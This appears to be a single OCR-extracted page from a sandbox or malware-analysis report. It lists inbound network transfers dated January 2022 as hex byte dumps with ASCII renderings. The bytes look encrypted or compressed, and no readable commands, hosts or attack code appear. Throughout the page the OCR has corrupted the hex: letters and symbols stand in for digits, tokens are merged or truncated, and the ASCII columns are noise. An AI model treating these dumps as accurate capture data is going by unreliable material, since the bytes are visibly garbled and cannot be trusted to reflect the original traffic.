Data Ascii: ?NZ=Z"VTWij?;;09QVboU\<#zkS_mm:N%,R <*c1>g-a5tpHt&]y8*$:(CpJ!|V.U.ZD!NnjQaq)jb/88|SJIY%;[:q

Data Raw: 54 96 94 64 41 98 Oc fa 64 83 c6 c2 c9 b7 69 76 19 e0 8d ee aa 3d d5 63 al 79 52 7f 83 be 6¢ 7a bc 65 03 3 f3
b9 b1 9f 88 42 33 87 10 84 3e 8c 63 14 45 45 5b 19 dd 87 20 14 cd 2e 67 a8 01 f6 7f b4 c6 e3 10 40 37 a6 d8 40 5e 12 6f
15 cc f6 59 1c 70 Oa 4c ad Oe 18 2d 2c 07 ea 8f 95 44 1c 79 3f b9 4b 9d 54 98 94 55 62 82 50 d6 €0 90 c0 26 15 42 6a €6
36 1c a6 2c 71 c9 41 a9 80 4d 53 84 96 1d 59 54 ee b0 23 f5 a0 1c f2 ¢5 3b 3b 1c 04 1c 77 fd f9 a5 76 84 50 c9 66 9d 5f
bb 3d 1a 4f 5e f9 cf 75 5a e5 ca 6a fc 4a c3 54 e6 08 eb 5e 9d 6d 65 19 c0 d4 55 20 0a 31 a7 03 6e ec 52 24 03 51 84 ec
df 17 aa 2a Oc 81 e3 75 bf 7c 61 66 {7 7e 90 74 b5 ab al 26 97 60 e6 1f d2 f9 cb 6a 80 cf 5b d3 56 23 f1 5¢c 18 66 89 de 96
6¢ 3a44 9a 63 €9 15 db Ob c9 63 cc c0 ac a4 31 37

Data Ascii: TdAdiv=cyRIzeB3>CEE[ .g@7@"0YpL-,Dy?KTUbP&Bj6,qAMSY T#;;wvPf_=0"uZjdT"meU 1nR$Q*ulaf~t&’j
[V#\fl:Dccl7

Data Raw: de 48 18 36 ec b2 94 3d b8 fb dd 66 35 b6 26 7a b5 a4 91 bf e6 bf el 5d 7c 47 15 bf 8 54 e0 46 d2 81 75 04
b3 b9 452 7d ce 36 18 82 44 46 1a 57 01 98 52 d8 89 cc f3 5b 26 de 84 81 e0 f1 ¢8 f9 67 48 ¢5 bf 71 25 {7 d5 65 a3 c8 7a
ba Ob 03 45 cb 64 2e 49 47 95 f3 b2 80 7a b4 37 bc cc 19 51 f8 57 94 e2 f1 a8 97 e8 04 4d 4f 94 7a d2 4e 0 ac 2a 1c 60
58 aa f5 dc 17 29 8d 2¢ 07 43 Oc 7e b3 a5 84 42 e fd Oc 57 aa 04 ¢3 91 d7 7c 05 04 26 fe 49 a0 22 72 a2 Oe 54 71 a2 d5
747513 b9 cb 5b db 83 ¢5 92 62 €8 14 74 ad bc d1 74 21 b0 ec b5 Oe 81 b4 c¢7 20 7a b1 54 85 65 5b 7b 5b 9b 68 91 8 45
a0 11 10 44 5f c9 41 b1 b9 4b 47 ed be 1f 6 f4 79 25 f4 4c d1 aa 1a O0a 19 f1 ed 26 12 f5 fa 5e fc 5a f2 d1 38 c4 c4 6e b6
22689877 d3 75 b9 1a 7c 78 a0 6a 79 1a 68 88 53

Data Ascii: H6=5&2]| GTFUOR}6DFWR[&gH%ezEd.|Gz7QWMOzZN* X),C~BW|&I"rTatulbtt! zTe[{{hED_AKGy%L&"Z8n"
hwulxjyhS

Data Raw: 7b 64 47 ef 24 ¢5 d0 91 06 e4 a3 82 4b a6 a5 ef 88 00 a6 1f fe f6 2d eb ad 3b b8 41 bc d1 7 fe c4 30 62 3a 47
5a f1 54 4a 26 7c 1f 54 11 bc d4 f3 a0 Oc bf fb ca ee 2e b9 be bd 45 5b fa 72 1c b9 2a e0 e0 8d al c3 fd 65 75 bc da 2b 68
fa 4a 69 ae 41 bl 56 9b aa 93 58 61 Oe 57 03 62 0f 03 37 ac 24 6a 3a 72 a3 96 69 b3 09 3e c1 a3 9a 05 67 1b 15 91 f4 4¢
96 18 bc 7a 73 6b 17 4f ee d9 9e 44 3b 6d 1d 95 41 11 79 59 78 cd fe 18 44 93 97 7 ce ea d4 68 6b 75 8d ee Of 6¢ 26 06
57 d0 8d fe 0a 69 86 29 8d 00 43 44 46 c4 d5 d5 d1 19 95 f8 56 9d e2 e7 23 cd 2c 0d c3 cd 17 30 ce 84 bc de 6b 51 bc 5e
6a 2d e2 82 40 de 2b 3f 51 e8 4d 17 26 2d 46 7d al c1 48 d9 05 29 93 e3 01 5d 10 56 f5 61 d8 f2 22 6d 13 86 51 3c 8c e6
c0 a3 cl 5169 b8 26 67 5e f7 9a 60 ea e6 ad a4 f9

Data Ascii: {dG$K-;A0b:GZTJ&|T.E[r*eu+hJiAVXaWb7$j:ri>gLzskOD;mAyYxDhkul&Wi)CDFV#,0kQ%j-@+?QM&-F}H)]
Va'mQ<Qi&g"

Data Raw: e3 1c 28 66 16 cf 2e 1a 6f 13 af 20 4c ad 7c Oc 96 07 3b 1a 7a 74 4a 1c Of c1 1c 60 38 93 32 a6 05 6b 11 13 6f
d3 2a 18 1f fe 97 4c 0a e0 98 3f bf 85 25 c¢7 2f 8¢ 37 a2 d7 e9 10 05 3a 7a b4 f8 a2 31 cb 71 79 3e ed 82 7f 9f 91 a0 1b b6
a9 2f ab a7 ec fc 48 dd ad 67 8a 1a 6e 37 46 9a 6e 93 f8 14 3a 43 bc 81 2c 05 32 f9 0f ce 5¢ 13 6b 5d 65 0d d4 9b 92 76
a6 44 3c 36 8f 8b Oc 39 b1 c8 50 d6 9f 67 d6 e4 be 13 be 67 ed e0 e2 31 0f 99 el 1b f6 36 16 b3 5a ed 33 32 b5 00 d3 72
a4 13 39 6d 13 b7 a5 2c e8 ba d7 a5 05 24 7a a2 1c cc d9 c¢7 81 c¢3 56 €9 48 9a ec Oe dc 1d 09 a3 8a 2d 3f a3 93 f4 9c 5e
6d a3 09 70 cb 77 31 8c c0 3d e9 22 6d Oa df b6 83 50 bd 24 65 8c fc 52 c6 30 da f0 5e 36 5d 31 74 d3 74 c8 49 3e 91 be
c6 c0 d1 72 04 59 35 85 ¢9 70 c5 19 ¢7 5 20 fc 3d

Data Ascii: (f.0 L|;zt3"82ko*L?%/7:z1qy>/Hgn7Fn:C,2\klevD<69Pgg16Z32r9m,$zVH-?"mpwl="mP$eR0"6]1ttI>rY5p =

Data Raw: Oe 55 7c b5 2f d4 85 86 55 37 a8 fc c1 14 5b 7f d0 8f 98 7a b8 61 7e ac 85 76 3 c9 6f 0d a9 8e 17 53 5d 6a ca
f4 da 69 68 f5 50 73 71 31 9a 60 95 f5 Oc ca e6 ad e0 ed 71 22 61 19 83 c9 7b 4f 81 1d 51 8e e4 c9 c3 6 16 4e ca e2 5
28 8c af b3 b2 a9 3b 17 91 f4 56 el a7 43 a2 63 1f 75 8b d4 fd 80 5b db e9 f6 3b 31 32 4b 42 2f 92 08 bc 8b 56 e7 3b ff d5
32 7f50 79 7b 33 84 52 bc b5 2c 9f 75 48 c8 fa ff 1c e9 4a d5 6d 1d 7d 37 al 88 e7 f8 cc Oe 96 3c 5e bd 06 6¢ 90 79 37 a6
4a 61 46 85 11 89 35 Oe fe 12 46 cc {7 9f 9a 0f 00 42 60 fO af b9 41 a3 29 07 30 13 73 8f ab b7 ab af d3 eb 9b e8 a0 02 b2
53 5d 33 2e 13 cd c9 d3 3c 3fa0 1d bl a9 f8 4e fb 39 a7 90 c1 fe 19 d9 0d c2 b5 Oe 9a Of a2 Oc 6d 5e ff d2 ad 97 71 1b 93
b7 a4 46 c9 1b 84 50 bb 21 e9 3f 09 e5 d7

Data Ascii: U|/U7[za~voS]jihPsql’q"a{OQN(;VCcu[;12KB/V;2Py{3R,uHIm}7<"y7JaF5FB A)0sS]3.<?N9m~qFP!?

Page 40 of 69



kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:46 UTC 557 IN Data Raw: 4d f8 2d 49 24 d1 ce 13 a8 58 f9 86 50 91 ec el 17 8c 43 f5 c7 2a 1b 77 b2 d9 19 c3 58 9a 3a 24 63 36 b2 08
eb fb 52 1b 44 07 7a 66 5d 1c Ob 9f 1c Oe df 14 32 8e 2e 6a c7 69 77 3f 6e 02 a2 Ob 39 7a Oa 79 52 3c 99 e6 d6 93 ef 75
a0 62 10 a4 02 dc 94 7c 1le 83 29 ff cd 6¢ 05 84 53 3b a2 03 b8 d2 13 ad a5 9d 95 67 a8 04 b6 88 8b cd b7 b6 23 f7 d1 24
28 de c3 18 55 4e 94 07 41 fb c8 99 fb b0 b5 b5 0a b8 4f 5a ec aa 4b df 4d 20 2b 6e ae 44 d7 ff dO f5 c2 7f 37 d2 1c 78 cO
68 ff c1 42 39 de 61 4b 06 b3 ab ba d8 ea 0f 24 66 8a 50 d6 00 8e 11 19 33 91 6a 91 18 40 f2 a8 13 97 f0 fb dc df b7 55 71
77 bd d2 ec bc ¢3 5f 73 0b 9f 91 e1 94 49 05 37 a1 90 7a cc 75 b1 91 f9 d1 65 64 db a6 ba e6 a7 9c 07 2d 4b 10 54 ee 27
a9 e8 e52d dd 08 24 c2 c9 79 22 62 ea d6 9a a9 c5
Data Ascii: M-I$XPC*wX:$c6RDzf]2.jiw?n9zyR<ub|)IS; g#$(UNAOZKM +nD7xhB9aK$fP3j@Uqw_sl7zued-KT'-$y"b

2022-01-13 19:22:46 UTC 559 IN Data Raw: 6¢ 91 e5 36 5a f4 b4 30 d3 c9 26 79 3e 2c 57 67 5c¢ f1 fa e4 e5 34 19 cd 30 10 1c 67 d5 91 b7 a8 0f d5 30 01 63
0f 15 79 b9 51 58 ed 46 c5 3b b6 ef de 13 c¢3 5¢c e5 6f 13 84 51 9d 36 a6 4c ce b2 32 d9 el a2 40 30 57 74 61 96 b2 67 Oc
a7 90 b0 ca 32 56 €9 63 1b 35 72 6f 4d 5e a6 Oe 86 e4 77 71 2c 5a 2 8f Oe 91 a4 1d a9 9c ce 1b 2f de 8b 85 c9 b8 8a 88
15 ce bd 50 13 34 c2 84 4f 17 c6 07 d9 36 91 f6 08 b3 e6 3f 5d 48 8a cd c5 16 4b 4e c2 cb a6 4a d7 1a 38 38 70 af 00 00
el Oa b2 2c 7a df 03 e4 ef 28 03 7a b5 11 aa 3c 52 49 a3 d7 00 be cc 84 52 62 d6 9c 13 4f f6 1d fc 5a fb ac 42 21 19 c7 69
le cbc8 a0 1a 77 22 20 7e b5 bb 42 5e f1 ¢3 0d dd 19 8b c4 94 6e 35 77 7a a5 88 44 58 96 7d 60 ae 20 6b ba 06 04 f1 34
b5 0f 0a c2 75 b5 e0 9d 8b da f4 41 01 6d 18 4c 82
Data Ascii: 16Z0&y>,Wg\40g0cyQXF;\0Q6L2@0Wtag2Vc5roMAwq,Z/P406?]HKNJ88p,z(z<RIRbOZB!iw" ~Bn5wzDX}
k4uAmL

2022-01-13 19:22:46 UTC 560 IN Data Raw: af cd d4 Of cd 76 a8 a4 19 8e 3f d1 ca e8 e9 6c¢ 6f ff 54 b6 03 6a 83 af f3 d9 5f 29 8e 7f 2e cb 14 e5 fe 40 dc 53
4159 aa 31 2a 02 b2 48 72 97 fb db 1f 40 50 bd 40 60 e1 Ob cb 83 d9 b6 6f 6b fe e7 6b db 58 98 1f bc dc 72 el 1e 60 Oc
88 2aebfb a9 72 6b 7e Of 07 47 51 7f 28 18 e5 7e d3 83 32 a7 98 16 ec e5 2c 1a 7c ab 48 d8 9c Of 7a bd e8 d8 32 f5 de
95 f5 76 18 33 24 08 ba de 9e ee 55 1f 5a 53 42 24 7e 51 38 44 91 19 db 1f fd 32 52 be 70 4f 4e db 14 ba 8c 3c c6 52 ce
ec ad 40 4c ab 11 98 74 b6 25 1c 18 38 cd 29 8e 72 a8 f1 fe 25 10 0d d7 04 b0 9c 34 6a 23 93 f1 2d 96 ¢3 71 41 54 5¢c e7
3592 82 5c 83 7b de 93 €5 26 d3 73 5b 9e aa 26 70 ab 4f 54 9f 67 81 c2 c5 4c 3f b8 42 d3 fa 46 de 82 aa 31 fa b8 ba c2 df
19 31 92 27 88 4e bc dc 9e 06 5e €0 3a 6a 99 14
Data Ascii: v?l0Tj_).@SAY1*Hr@P @ okkXr *rk~GQ(~2,|Hz2v3$UZSB$~Q8D2RpON<R@L1%8)r%4j#-qAT\5\{&s[&pOTgL
?BF11'N~j

2022-01-13 19:22:46 UTC 561 IN Data Raw: da fe 40 31 fb 0d 7a 8f 85 89 61 c7 a2 e0 bf 3d 90 63 ee 76 4e ca 25 96 e7 17 05 df 1a 31 57 d7 Of 16 b2 1f b7
d9 39 4f 8e d9 27 bc 5b 03 c6 0a 57 4c 48 49 3d 78 7a 5b 4f 0d ec 23 9f 5¢ 46 cd 3a ea 5¢ 5a 3a 90 73 69 60 90 80 8c bb
46 1b d8 35 8f 29 35 9f 27 a0 3b a2 Oe 76 €9 2f 99 bb 39 33 7c 9b 97 63 97 d6 €0 81 c3 25 e0 54 b9 53 42 79 49 db b0 33
fc e4 6f Of b5 ab ba a5 8a f4 03 3e 3b 46 05 bd 17 84 0d 6a b4 68 51 5d 64 5c ea 74 a7 ae 30 Ob d8 e2 Oc 42 83 d5 1f 84
dd 51 2d 1e 86 4e bb 5a fO ee 43 b7 6 55 3f 24 {7 cd ¢8 16 48 d9 3b 3b 14 5f 19 75 b9 21 90 69 1f 7f 69 02 d6 82 54 9e 5¢
97 al 1c 8c 71 45 5d 76 cf 7a 88 e7 e6 ec fe fa ef 2c al e6 fO c6 d9 a7 ee c7 c8 59 01 2d a4 80 al f2 ee 56 f2 3a b0 cd 15
b0 3c 30 be 62 b8 40 33 90 0f 98 7f €5 c7 7e b3
Data Ascii: @1za=cvN%I1W9O'[WLHI=xz[O#\F:\Z:si'F5)5';v/93|c%TSByI30>;FjhQ]d\tOBQ-NZCU?$H;;_uliiT\qE]vz,Y-V:
<0b@3~

2022-01-13 19:22:46 UTC 563 IN Data Raw: 27 al 22 5a ac ff 9f 73 fc 0d 60 cO 94 b5 be 48 a7 dd 58 ed 7a fd Of bf 40 4e 08 7c dc €3 b3 ba 28 13 a4 49 e3
90 1f 05 f1 8c 6b 78 b0 91 88 bb 43 a6 Ob d3 d4 21 dd a2 15 d3 7e c4 7a 20 5c 4e d7 18 31 7c 81 db 09 22 99 4a 3d b2 4c
37 94 70 be c4 68 38 49 44 4f e7 e8 b5 b6 38 5d d4 bb 26 3e 20 27 82 29 ea ad ad ad ad bc 29 4a a5 78 77 78 55 f2 {8 f6
7d 5b 7c 2c e4 f2 3f b1 b8 9b 18 a8 5¢c 92 c6 33 da e0 92 73 3c ¢9 64 8b ¢9 d3 bc b0 c7 be 83 a3 cc 93 f1 65 09 26 62 31
4a af 10 88 Ob be 8a 03 e7 cc 4f ef 2b 9b e1 17 db 09 6b f5 e0 d7 d6 7f cO 93 ba bc af d3 60 65 1d e8 b4 da 52 a2 b7 64 cf
26 31 64 18 b9 83 81 a8 18 a8 4f 4d 4f fd 7c 2c 7d 3a 29 c4 06 3e 2b 43 4d 88 11 9c a8 fd cb fe bd 58 7a 5b 62 fd 7f 29 ec
cf e6 52 df cc Of Oe f6 54 e2 95 ef 65 1le 63 09
Data Ascii: ""Zs'"HXz@N|(IkxC!~z \N1|"J=L7ph8IDO8]&> ")) IxwxU}[|,?\3s<de&b1JO+k’eRd&1dOMO|,}:)>+CMXz[b)RTec

2022-01-13 19:22:46 UTC 564 IN Data Raw: 07 36 Oe d6 32 98 06 19 77 Of da 9c 1d 82 45 45 1c 7e a4 8 86 29 25 84 51 31 39 56 d2 ec b0 24 10 42 02 Oe
a59b 11 02 fa Oa 14 ea b3 5e 36 26 01 29 83 af d4 87 46 5d 46 de 9c 1d 87 d0 89 c2 7a 69 59 8b 45 a3 8e 1f 71 d2 cb 15
7e cO b3 d9 7e f5 00 1d 9a 3f ad 68 6b 01 aa 2d 85 cb 6¢ bc 72 67 57 Oe ed 8f cd f7 2d 2 fa 7f da 92 75 2e dc 9c 0d 70 b9
ac 05 61 0f 07 7b 32 36 4e 40 0a ee 70 f2 17 27 3e 7e 2d a8 45 99 95 c8 b9 b4 le fd b9 6a 23 97 51 47 d3 c2 a4 72 f9 5¢
78 c7 ce 9d 07 23 1e 7f c7 26 66 2c 8e d7 03 bb 1e 77 b5 e5 38 98 70 ¢3 12 57 c1 03 47 8 4a de ca f5 6f 43 c3 a7 66 cf
la ce ad ac 6¢ fe b2 7d 42 7c d2 4f 04 df 5¢c €9 63 f1 e6 e7 79 f4 €8 19 d8 36 19 9e 4a d2 19 21 1a 74 1c 20 69 bd 1a 67
e7 36 bd 10 57 ¢3 14 2e e0 8d be 9b e2 31 ce 9d 30 92
Data Ascii: 62WEE~)%Q19V$B"6&)F]FziYEq~~?hk-IrgW-u.pa{26N@p">~-E#QGr\x#&f,w8pWG JoCfl}B|O\cy6J!t ig6W.10

2022-01-13 19:22:46 UTC 565 IN Data Raw: 37 17 dd 47 1d f8 e4 cO bc 78 df 59 01 ¢3 32 1e 31 f3 78 d8 e4 €3 69 a0 70 c5 2c¢ b5 7b 2e 07 31 3c ¢4 ¢5 b0 29
4 07 33 3f c9 d1 6d 8b 91 f9 65 66 8e d6 93 97 ae 37 Ob a0 77 9a 15 8b b2 81 b7 b9 14 26 99 80 3e 72 c2 30 7b 56 9f 3e
a9 83 d6 9f 1b 5b 10 a0 0d 8e 3a 2b 1d 92 9b e8 ff 99 f1 99 96 7e Ob c3 0d 8f e4 37 c8 9b 16 58 f4 03 24 d5 11 aa 8f 85 82
2f 2a 68 94 30 6a 2a 66 eb 78 db b9 28 71 43 53 Oc 48 ca €0 3b 16 32 ff d3 d0 ab b2 a5 ef dO ff b2 7a b4 a5 f0 bc 67 19 22
3fb6 90 18 21 48 cb 3d fb d2 6b 68 fb 3f db 44 54 0d ab bb 1d 88 ec cf 15 9d fb 3e 50 be b0 cb 9d 83 cb 7c 2f 7d 45 b0 27
18 19 dd 82 2f 7d 3a 8d bc ¢4 7c dd 15 32 00 f3 94 63 97 88 2e el Oe 3f f5 c¢2 70 ¢7 1d 00 df 59 05 83 a9 80 19 a8 f0 de
ec e5 58 5b 08 cd Oe ab bd 45 4d 41 2d 6d 70
Data Ascii: 7GxY21xip,{.1<)3?mef7w&>r0{V>[:+~7X$/*h0j*fx(qCSH;2zg"?!H=kh?DT>P|}E'/}:|2c.?pYX[EMA-mp

2022-01-13 19:22:46 UTC 567 IN Data Raw: 36 41 da €7 25 c2 b3 b2 3c c¢3 8e 75 78 ef eb al 34 7d 44 94 29 6 dd f3 d5 84 96 c4 ed 68 fd 4b 26 71 97 46 c7
2c¢ 70 14 b8 e6 d4 10 8¢ 1b fe 4b 4d cc f7 2a 98 8a ec 1d 63 1f €0 c3 ab 0a b9 f0 ad ba 9¢c 7b ae b2 88 4c dc 83 d2 c4 69
06 b9 3d bd 4c 97 9a ea da e0 cd 6a ea d7 52 d7 4b 4e c7 6a 7f 1b 9b a0 52 8f 2a f0 16 fO b3 1d c0 6d fe 74 7f ae b0 33 38
91 9e e5 59 08 07 1e 3c 4f c3 ef 57 8b d1 1c 2b e3 ae 21 88 4b 54 a8 68 c7 69 7f 6b a7 85 ab c4 d8 73 36 14 4c 60 22 Oe
18 83 f2 7f a7 Of cb ¢8 00 d5 38 8a dc 6 df 73 d7 27 13 d1 12 12 38 c4 a4 b5 01 33 Of 7d 58 1a 66 ec f3 bb d7 el 77 b8 d5
01 b8 85 ab 4e b3 f1 54 08 51 42 64 f0 53 b6 5a a6 6d f6 a0 65 5e 95 48 2e 61 27 87 61 c7 14 11 cf 8¢ 98 29 d3 bf dO b7
a5 24 67 9a 31 92 c7 1f 7b de 8d 09 39 el 40 33
Data Ascii: 6A%<ux4}D)hK&qF,pKM*c{Li=LjRKNjR*mt38Y<OW+!KThiks6L "8s'83}XfwNTQBdSZme"H.a'a)$g1{9@3

2022-01-13 19:22:46 UTC 568 IN Data Raw: c¢3 b6 33 93 54 24 Ob 2f 4e 9e 1a 2f 34 39 f6 96 el ac 36 b5 0d bl f6 €8 5e 04 b7 bf fO b4 af 18 4f 7 10 17 96
09 9a 2b 83 23 1a 84 eb 6¢ 2b 6b 94 83 cd 67 44 db b9 c1 e7 2a 70 e4 59 df 9c b5 b6 ae 7257 d8 Ob 72 b8 38 78 37 3c
96 c9 6¢ f9 5a 8¢ 6f 61 da dc a9 30 4f 63 9a 30 2c 9f d2 c0 43 ec 84 df 4a c1 41 89 ¢3 50 d6 38 ec c7 da 4f 1b 8c fa ef 2f Ot
ec 03 36 4d 8e c3 b8 3c 6b 5d 38 84 72 9 e3 03 20 c0 86 5e be 68 38 35 c5 Oe d3 44 6e 5c 58 2f 36 b4 27 80 ef 22 9f 86
51 28 18 5f 29 35 e5 3e 35 30 a6 7a be ca ee f9 d0 91 25 55 06 b2 3f a6 Ob d1 f6 aa 2e 14 e0 52 bc 9c ea ¢5 40 2a 10 17
8c 5f 61 d1 a7 8a 36 bd dc e3 19 d3 6b 74 b7 fd cO cc f3 52 b4 a0 70 b7 94 90 66 9a 2b 60 96 7b 24 e6 10 20 65 08 b5 de
32 af 33 f4 5b fd 56 ff de 05 49 d9 68 92 75 ae 2b
Data Ascii: 3T$/N/496"O+#l+kgD*pYrWr8x7<IZ0a00c0,CJAP8O/6M<K]8r ~h85Dn\X/6"Q(_)5>50z%U?.R@*_abktRpf+{$
e23[Vlhu+
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Timestamp transferred Direction Data

2022-01-13 19:22:46 UTC 569 IN Data Raw: 03 c7 b4 dd al df d8 d9 e6 cc 8f f4 31 4e fe 24 {3 6f f5 39 45 ae 48 ca 45 8c 95 e6 4f 23 92 d6 72 Oc cf 24 06 bl
0d 44 94 73 55 bc 26 72 b1 8f 60 1d 5d 14 23 00 e2 cd 9a df ec 1d 6e 44 {7 3c d7 63 27 76 16 e3 56 52 19 b3 Oe b4 ea 0d
7f99 cd cb 0f d3 09 7c 67 2e 6a 71 42 15 50 3c a6 71 28 31 10 e7 b5 30 c1 1c e4 32 ac df 9e 94 d9 ce 91 12 62 08 40 bb
16 11 ea b5 19 66 ba 6d 33 1f 16 b2 e6 98 fc f1 3f a9 c8 46 f9 96 12 93 1d e7 0f 0d 46 d7 60 39 42 ca ff f7 ab 81 4d 33 db
8a 6e 8d 14 90 e5 83 fe 72 ce 22 4a 96 51 ca 5d 43 25 43 0d 88 0d 17 0d 07 42 54 b4 3e fd bc 35 76 50 5c¢ ff 65 €9 78 c7
€6 50 65 ea 9a ab 56 10 99 21 fa 7e 62 31 92 8b 56 76 76 db e5 e2 e0 a9 f9 d5 7f 94 28 7d b7 5e 44 64 51 f1 35 0b 54 11
6f 70 d7 74 a0 5 8f f3 bb b1 20 Oc a7 dO e2 5a
Data Ascii: IN$09EHEO#r$DsU&r [#nD<c'vVR|g.jgBP<q(102b@fm3?FF 9BM3nr"JQ]C%CBT>5vP\exPeV!~b1Vvv(}*DdQ
5Topt Z

2022-01-13 19:22:46 UTC 570 IN Data Raw: €3 01 2a 44 ce a6 Oe 5b 49 b9 85 85 7f 21 01 4d 26 79 2c 54 a0 74 bd 62 61 7b 8a 50 9a 13 72 Oe 39 c3 58 f9
95 fd ea 01 f2 08 d7 78 d4 e4 a5 85 d9 1c f6 d1 05 4e c7 6¢ 29 5d Ob 9d 93 d3 d9 ed b2 4c cc f8 Oe Oa fe 51 62 c4 8a 88
75 8f Oe 04 a4 f1 62 47 3a e0 e5 4b e3 08 2f 7b 43 53 dd e8 b1 ff 6e 2a 84 b8 30 4c 63 el 9e 87 c0 98 f1 d7 bb cd 6¢c cb
96 90 93 18 50 81 44 83 44 be c4 91 6¢ 73 d4 04 b7 el 67 ee 33 11 cf 2d ef 89 22 86 53 19 b0 c2 54 1a 64 df 6¢ 2e 80 c2
c4 9e 18 89 df 16 40 3a 6f d8 7b e5 60 21 5d 90 eb 1a 7b d5 8e 4a 06 3d cc ca d5 03 b8 32 a7 9a a6 12 4e d4 84 33 dd 57
f2 5b 7e bl 1a d5 31 86 4d 4e 90 7a c8 27 11 89 da 86 58 e5 25 fb dc 90 8b 68 96 76 3d f5 b7 1a ed 37 42 fc 30 12 cc 5d
68 8b 30 f7 a3 cb 0d 1e 75 2c 12 5e b4 69 45 ed 12 17 10
Data Ascii: *D[I!M&y, Ttba{ProXxNI)]LQbubG:K/{CSn*0LcIPDDIsg3-"STdl.@:0{ '[{J=2N3W[~1MNz'X%hv=7B0]hOu,NE

2022-01-13 19:22:46 UTC 572 IN Data Raw: 33 85 62 64 94 7c bf 5f 1b ff 28 af b3 a7 3b d6 f6 45 99 80 d0 55 65 Of de 99 91 89 d5 fa el 16 5e 4c 12 31 ce
aa al 54 bl 27 d9 56 26 84 94 3e a4 2b db cf 43 21 4c 1a 95 ea a4 69 25 4d 38 c4 c3 4a 5d f6 41 aa 8¢ 65 ed le 3c 4f a7
94 e3 97 Ob 41 e0 €0 00 47 22 e7 2f 93 24 25 34 €6 60 a8 c3 bb da d8 cd 89 3f €8 c8 17 0a eb 27 1b 9c 59 38 36 ca 9a 7b
d5 8c 4e d6 68 44 29 17 c2 c0 54 68 81 c1 fd 63 f1 3d cc f3 c4 82 9e 2b aa 4c 42 24 e7 cd 17 99 3d 06 68 de aa €9 24 5a
3d cd ce €9 ce fd 36 62 d6 6a 3f 08 77 7d 3a 47 9e bd 94 7d 38 53 b7 bd 4e 78 59 ae 73 34 77 39 61 c6 ce f3 51 1e 15 7d
5a 32 6d €9 e5 40 4b 59 be 33 99 €9 7a 92 ae 01 f2 14 57 38 39 c7 04 af a9 a2 0f c6 75 31 7d el e4 51 51 17 29 de 38 a4
6d 48 df 56 f9 99 8e 61 7c a6 53 48 e3 2 87 8e le 17
Data Ascii: 3bd|_(;EUe L1T'V&>+CILi%M8J]Ae<OAG"/$%4 ?'Y86{NhD)Thc=+LB$=h$Z=6bj?w}:G}8SNxYs4w9aQ}Z2m@
KY3zW89u1}QQ)8mHVa|SH

2022-01-13 19:22:46 UTC 573 IN Data Raw: 8d 8c f7 a3 90 18 56 cf 7a a8 0a 2a 80 20 dc 4f 23 15 9a 8c 56 70 10 89 c5 48 d1 30 1f e8 b1 b5 dO ef 2¢c 84 56
eb 9a d7 d6 85 cb 63 73 b2 9b 20 67 03 22 15 d6 d2 4c cc e9 87 60 2e 1le 7e aa 5d 2c 88 Oc d6 e7 24 59 ad b8 33 23 23
9b 4a 17 b6 d3 69 Oc 46 da 1a 8a 3f 5¢c fa 2e 78 5a de 9a 7d 34 e4 87 94 ec bb 5a el b7 2f 5c ff cb 6f 68 ee 28 96 bb 51 4c
ce e2 8d 68 83 d4 6¢ 35 35 96 61 7f 5¢ 4b 9e 69 82 a0 30 74 02 c2 03 67 89 cb 6f 1a f7 bf 8a 30 6d dc 7f 08 b4 24 7c be
cc f6 56 28 e3 2f e7 23 ff d9 92 24 5d e4 e3 37 08 ff ff 3c 74 82 d4 be ca 32 al 12 b4 33 9d 83 ¢9 02 c9 75 25 46 1d 94 8
a5 37 4b 8a 27 55 f7 d2 e5 2c el 5¢ 90 2d cb c3 a7 52 ab fa 5a 7f 2a ¢6 ¢9 77 20 Oc Oe 22 17 bc df 78 cd 74 b1 00 76 d9
ea 335d 7d 22 7e e3 63 al cb 06 fb d7 65 43 2¢ b2
Data Ascii: Vz* O#VpHO,Vcs g'L’.~],$Y3##JiIF?\.xZ}4Z\oh(QLhlI55a\Ki0tgoOm$|V (/#$]7<t23u%F7K'U,\-RZ*w "xtv3]}"~ceC,

2022-01-13 19:22:46 UTC 574 IN Data Raw: 1e 12 58 fb d0 6 2b 78 b7 b3 54 02 c3 58 e5 3d 3e 1e 03 56 4e 7d ba a2 17 c9 75 ac f7 c5 45 a9 43 db b6 fe 3d
1f cd 6¢ 8d 8 4e 4b b1 b7 bb 81 cd 6b 07 2f 66 66 8f 48 62 f8 59 6f Of b7 bc 08 df 83 24 10 5d 65 1b fb 5e 22 7f da 3f 72 c3
ef f1 50 68 56 fb cO c2 a3 c4 22 e0 25 38 6e e7 80 be Oe 40 fe a2 0f c1 f3 72 62 2c 32 69 b2 87 bl b4 39 b1 d8 f0 11 6b 9d
7 d0 ec bb 30 04 ac 26 29 9f €9 b7 71 54 96 67 11 dd 43 01 31 9a d1 73 36 87 56 f4 5¢ 59 d7 66 f9 86 3d 3f 54 80 56 6a
29 87 d0 46 1b 65 16 1c e4 bf 4b ee 9a €3 69 02 d5 04 al 4a c3 57 7e Ob Oa db e4 7f ac cc 8d ec b3 b0 81 2a 26 64 9b fe
35 0b 21 fO da 8d 29 97 f8 42 d5 a3 f5 67 96 8f eb 3e 37 al 11 54 24 6a 92 78 e7 20 74 b5 b8 5f 65 27 07 37 ae 80 fd c7
73 2b 92 16 fb 7e 6f 14 4a c6 a6 17 3e ba da
Data Ascii: X+xTX=>VN}UEC=INKk/ffHbYo$]e " ?rPhV"%8n@rb,2i9k0&)qTgC1s6\V\Yf=?TVj)FeKiJW~*&d5!)Bg>7T$jx
t_e'7s+~0J>

2022-01-13 19:22:46 UTC 576 IN Data Raw: 2a 1e 91 1c 6d 10 e5 bc 76 55 65 12 51 e7 e4 ab dc 8a 27 0d c5 4d c3 b7 ¢7 00 a8 18 fd 60 2d f9 8¢ 24 38 2a
7e fc 57 81 33 9d 9b 4a 06 da 1c 18 8e Oc €8 1b 5¢ fO be c6 ad a7 83 75 28 00 05 9b 44 bb 56 f4 49 f8 88 4f 2d 88 6a 1f fe
5a 72 ce f4 3c 8b 74 5f 7b 3f ae 4e b0 29 45 03 3c 32 a0 d7 6a 28 d2 9b 4b 12 4a db 1c c4 3f b3 Oc 8f af d4 96 Of df 5a 80
4ach 8503 47 17 1b e8 a6 Oc 5a al 2c 37 ec 7d 2b bd 21 €9 a5 52 57 54 ea b7 f4 56 d3 13 7c a4 ab b0 c9 74 b0 2b e7 ae
fb 8b df Oc 40 2f fc fd 38 ee b9 4e c7 1c 38 8a f6 9b f6 4d 58 €0 f2 b9 5a f3 80 ad 33 2b 53 12 41 c7 ba 7d 22 f2 5f 77 2e cf
